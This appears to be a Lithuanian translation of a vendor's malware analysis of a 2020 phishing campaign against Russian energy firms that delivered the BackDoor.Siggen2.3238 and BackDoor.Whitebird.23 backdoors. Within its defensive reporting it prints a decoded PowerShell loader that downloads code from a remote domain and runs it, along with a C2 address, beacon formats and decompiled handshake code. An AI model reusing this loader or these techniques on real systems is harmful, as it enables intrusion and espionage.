Mes tiriame tikslinę šnipų ataką prieš Rusijos kuro ir energijos kompleksą

Mes tiriame tikslinę šnipų ataką prieš Rusijos kuro ir energijos kompleksą

Mūsų patirtis tiriant kompiuterių saugumo incidentus rodo, kad el. paštas vis dar yra vienas iš dažniausiai užpuolikų naudojamų kanalų, kad iš pradžių prasiskverbtų į užpultas tinklo infrastruktūras. Vienas neatsargus veiksmas su įtartinu (ar ne tokiu įtartinu) laišku tampa įėjimo tašku tolesnei infekcijai, todėl kibernetiniai nusikaltėliai aktyviai naudoja socialinės inžinerijos metodus, nors ir su įvairia sėkme.

Šiame įraše norime pakalbėti apie neseniai atliktą šlamšto kampanijos tyrimą, nukreiptą į daugelį Rusijos kuro ir energijos komplekso įmonių. Visos atakos vyko pagal tą patį scenarijų, naudojant netikrus el. laiškus, ir atrodė, kad niekas nedėjo daug pastangų į šių laiškų tekstinį turinį.

Žvalgybos tarnyba

Viskas prasidėjo 2020 metų balandžio pabaigoje, kai „Doctor Web“ virusų analitikai aptiko šlamšto kampaniją, kurios metu įsilaužėliai daugelio Rusijos kuro ir energijos komplekso įmonių darbuotojams išsiuntė atnaujintą telefonų katalogą. Žinoma, tai nebuvo paprastas susirūpinimas, nes katalogas nebuvo tikras, o .docx dokumentai atsisiuntė du vaizdus iš nuotolinių išteklių.

Vienas iš jų buvo atsisiųstas į vartotojo kompiuterį iš naujienų[.]zannews[.]com serverio. Pastebėtina, kad domeno vardas panašus į Kazachstano antikorupcinio žiniasklaidos centro domeną – zannews[.]kz. Kita vertus, naudojamas domenas iš karto priminė kitą 2015 m. kampaniją, žinomą kaip TOPNEWS, kuri naudojo ICEFOG užpakalines duris ir turėjo Trojos arklių valdymo domenus su eilute „naujienos“ pavadinimuose. Dar viena įdomi savybė buvo ta, kad siunčiant el. laiškus skirtingiems gavėjams, prašymuose atsisiųsti vaizdą buvo naudojami skirtingi užklausos parametrai arba unikalūs vaizdų pavadinimai.

Manome, kad tai buvo padaryta siekiant surinkti informaciją, kad būtų galima nustatyti „patikimą“ adresatą, kuris būtų garantuotas tinkamu laiku atplėšti laišką. Vaizdo atsisiuntimui iš antrojo serverio buvo naudojamas SMB protokolas, kuris galėjo surinkti NetNTLM maišą iš darbuotojų, kurie atidarė gautą dokumentą, kompiuterių.

O štai pats laiškas su netikru katalogu:

Mes tiriame tikslinę šnipų ataką prieš Rusijos kuro ir energijos kompleksą

Šių metų birželį įsilaužėliai vaizdams įkelti pradėjo naudoti naują domeno pavadinimą sports[.]manhajnews[.]com. Analizė parodė, kad manhajnews[.]com padomeniai buvo naudojami šlamšto laiškuose mažiausiai nuo 2019 m. rugsėjo mėn. Vienas iš šios kampanijos taikinių buvo didelis Rusijos universitetas.

Taip pat iki birželio mėnesio atakos organizatoriai sugalvojo naują savo laiškų tekstą: šį kartą dokumente buvo informacijos apie pramonės plėtrą. Laiško tekstas aiškiai rodė, kad jo autorius arba nekalba rusiškai, arba sąmoningai kūrė apie save tokį įspūdį. Deja, pramonės plėtros idėjos, kaip visada, pasirodė tik priedanga – dokumentas vėl atsisiuntė du vaizdus, ​​o serveris buvo pakeistas į download[.]inklingpaper[.]com.

Kita naujovė sekė liepos mėnesį. Bandydami apeiti antivirusinių programų kenkėjiškų dokumentų aptikimą, užpuolikai pradėjo naudoti „Microsoft Word“ dokumentus, užšifruotus slaptažodžiu. Tuo pačiu metu užpuolikai nusprendė panaudoti klasikinę socialinės inžinerijos techniką – pranešimą apie atlygį.

Mes tiriame tikslinę šnipų ataką prieš Rusijos kuro ir energijos kompleksą

Kreipimosi tekstas vėl buvo parašytas tokiu pat stiliumi, o tai sukėlė adresatui papildomų įtarimų. Vaizdo atsisiuntimo serveris taip pat nepasikeitė.

Atkreipkite dėmesį, kad visais atvejais laiškams siųsti buvo naudojamos elektroninės pašto dėžutės, registruotos mail[.]ru ir yandex[.]ru domenuose.

Ataka

2020 m. rugsėjo pradžioje atėjo laikas imtis veiksmų. Mūsų virusų analitikai užfiksavo naują atakų bangą, kurios metu užpuolikai vėl siuntė laiškus, pretekstu atnaujinti telefonų katalogą. Tačiau šį kartą priede buvo kenkėjiška makrokomanda.

Atidarius pridėtą dokumentą, makrokomandoje buvo sukurti du failai:

  • VBS scenarijus %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, kuris buvo skirtas paketiniam failui paleisti;
  • Pats paketinis failas %APPDATA%configstest.bat, kuris buvo užtemdytas.

Mes tiriame tikslinę šnipų ataką prieš Rusijos kuro ir energijos kompleksą

Jo darbo esmė yra „Powershell“ apvalkalo paleidimas su tam tikrais parametrais. Į apvalkalą perduoti parametrai iššifruojami į komandas:

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

Kaip matyti iš pateiktų komandų, domenas, iš kurio atsisiunčiamas naudingasis krovinys, vėl yra užmaskuotas kaip naujienų svetainė. Paprastas krautuvas, kurio vienintelė užduotis yra gauti apvalkalo kodą iš komandų ir valdymo serverio ir jį vykdyti. Mums pavyko nustatyti dviejų tipų užpakalines duris, kurias galima įdiegti aukos kompiuteryje.

BackDoor.Siggen2.3238

Pirmasis yra BackDoor.Siggen2.3238 — su mūsų specialistais anksčiau nebuvo susidūrę, taip pat apie šią programą nebuvo užsiminta ir iš kitų antivirusinių programų gamintojų.

Ši programa yra užpakalinės durys, parašyta C++ ir veikia 32 bitų Windows operacinėse sistemose.

BackDoor.Siggen2.3238 gali susisiekti su valdymo serveriu naudodamas du protokolus: HTTP ir HTTPS. Išbandytame pavyzdyje naudojamas HTTPS protokolas. Šis vartotojo agentas naudojamas serveriui pateiktose užklausose:

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

Šiuo atveju visos užklausos pateikiamos su šiais parametrų rinkiniais:

%s;type=%s;length=%s;realdata=%send

kur kiekviena eilutė %s atitinkamai pakeičiama taip:

  • užkrėsto kompiuterio ID,
  • siunčiamo prašymo tipas,
  • duomenų ilgis realiųjų duomenų lauke,
  • duomenys.

Informacijos apie užkrėstą sistemą rinkimo etape užpakalinės durys sukuria tokią eilutę:

lan=%s;cmpname=%s;username=%s;version=%s;

kur lan – užkrėsto kompiuterio IP adresas, cmpname – kompiuterio pavadinimas, vartotojo vardas – vartotojo vardas, versija – eilutė 0.0.4.03.

Ši informacija su sysinfo identifikatoriumi siunčiama per POST užklausą valdymo serveriui, esančiam adresu https[:]//31.214[.]157.14/log.txt. Jei atsakant BackDoor.Siggen2.3238 gauna HEART signalą, ryšys laikomas sėkmingu, o užpakalinės durys pradeda pagrindinį ryšio su serveriu ciklą.

Išsamesnis veikimo principų aprašymas BackDoor.Siggen2.3238 yra mūsų virusų biblioteka.

BackDoor.Whitebird.23

Antroji programa yra BackDoor.Whitebird backdoor modifikacija, kuri mums jau žinoma iš incidento su vyriausybine įstaiga Kazachstane. Ši versija parašyta C++ ir skirta veikti tiek 32 bitų, tiek 64 bitų Windows operacinėse sistemose.

Kaip ir dauguma šio tipo programų, BackDoor.Whitebird.23 skirtas užmegzti šifruotą ryšį su valdymo serveriu ir neteisėtai valdyti užkrėstą kompiuterį. Įdiegta į pažeistą sistemą naudojant lašintuvą BackDoor.Siggen2.3244.

Mūsų ištirtas pavyzdys buvo kenkėjiška biblioteka su dviem eksportuotais failais:

  • Google Play
  • Testas.

Savo darbo pradžioje jis iššifruoja konfigūraciją, prijungtą prie galinių durų korpuso, naudodamas algoritmą, pagrįstą XOR operacija su 0x99 baitu. Konfigūracija atrodo taip:


struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

Siekiant užtikrinti nuolatinį veikimą, užpakalinės durys keičia lauke nurodytą reikšmę darbo valandos konfigūracijos. Lauke yra 1440 baitų, kurių reikšmės yra 0 arba 1 ir reiškia kiekvieną kiekvienos valandos minutę per dieną. Kiekvienai tinklo sąsajai, kuri klausosi sąsajos, sukuria atskirą giją ir tarpiniame serveryje ieško autorizacijos paketų iš užkrėsto kompiuterio. Kai aptinkamas toks paketas, užpakalinės durys į savo sąrašą įtraukia informaciją apie tarpinį serverį. Be to, per WinAPI patikrina, ar nėra tarpinio serverio InternetQueryOptionW.

Programa patikrina einamąją minutę ir valandą bei lygina jas su lauko duomenimis darbo valandos konfigūracijos. Jei atitinkamos dienos minutės reikšmė nėra nulis, užmezgamas ryšys su valdymo serveriu.

Užmezgus ryšį su serveriu, imituojamas ryšio sukūrimas naudojant TLS 1.0 versijos protokolą tarp kliento ir serverio. Galinių durų korpuse yra du buferiai.

Pirmajame buferyje yra TLS 1.0 Client Hello paketas.

Mes tiriame tikslinę šnipų ataką prieš Rusijos kuro ir energijos kompleksą

Antrajame buferyje yra TLS 1.0 Client Key Exchange paketai, kurių rakto ilgis yra 0x100 baitų, Pakeisti šifro specifikaciją, Užšifruotas rankos paspaudimo pranešimas.

Mes tiriame tikslinę šnipų ataką prieš Rusijos kuro ir energijos kompleksą

Siunčiant Client Hello paketą, užpakalinės durys į Client Random lauką įrašo 4 baitus dabartinio laiko ir 28 baitus pseudoatsitiktinių duomenų, apskaičiuojamus taip:


v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

Gautas paketas siunčiamas į valdymo serverį. Atsakymas (Server Hello paketas) patikrina:

  • atitiktis TLS protokolo versijai 1.0;
  • kliento nurodytos laiko žymos (Random Data paketo lauko pirmieji 4 baitai) atitikimas serverio nurodytai laiko žymai;
  • pirmųjų 4 baitų atitikimas po laiko žymos kliento ir serverio atsitiktinių duomenų lauke.

Nurodytų atitikmenų atveju užpakalinės durys paruošia Kliento raktų mainų paketą. Norėdami tai padaryti, jis modifikuoja viešąjį raktą kliento raktų mainų pakete, taip pat šifravimo IV ir šifravimo duomenis pakete Encrypted Handshake Message.

Tada užpakalinės durys gauna paketą iš komandų ir valdymo serverio, patikrina, ar TLS protokolo versija yra 1.0, ir tada priima dar 54 baitus (paketo turinį). Tai užbaigia ryšio sąranką.

Išsamesnis veikimo principų aprašymas BackDoor.Whitebird.23 yra mūsų virusų biblioteka.

Išvada ir išvados

Dokumentų, kenkėjiškų programų ir naudojamos infrastruktūros analizė leidžia drąsiai teigti, kad ataką parengė viena iš Kinijos APT grupių. Atsižvelgiant į užpakalinių durų, įdiegtų aukų kompiuteriuose sėkmingos atakos atveju, funkcionalumą, užsikrėtimas veda prie bent jau konfidencialios informacijos vagystės iš užpultų organizacijų kompiuterių.

Be to, labai tikėtinas scenarijus yra specializuotų Trojos arklių įdiegimas vietiniuose serveriuose su specialia funkcija. Tai gali būti domeno valdikliai, pašto serveriai, interneto šliuzai ir kt. Kaip matėme pavyzdyje incidentas Kazachstane, tokie serveriai ypač domina užpuolikus dėl įvairių priežasčių.

Šaltinis: www.habr.com

Добавить комментарий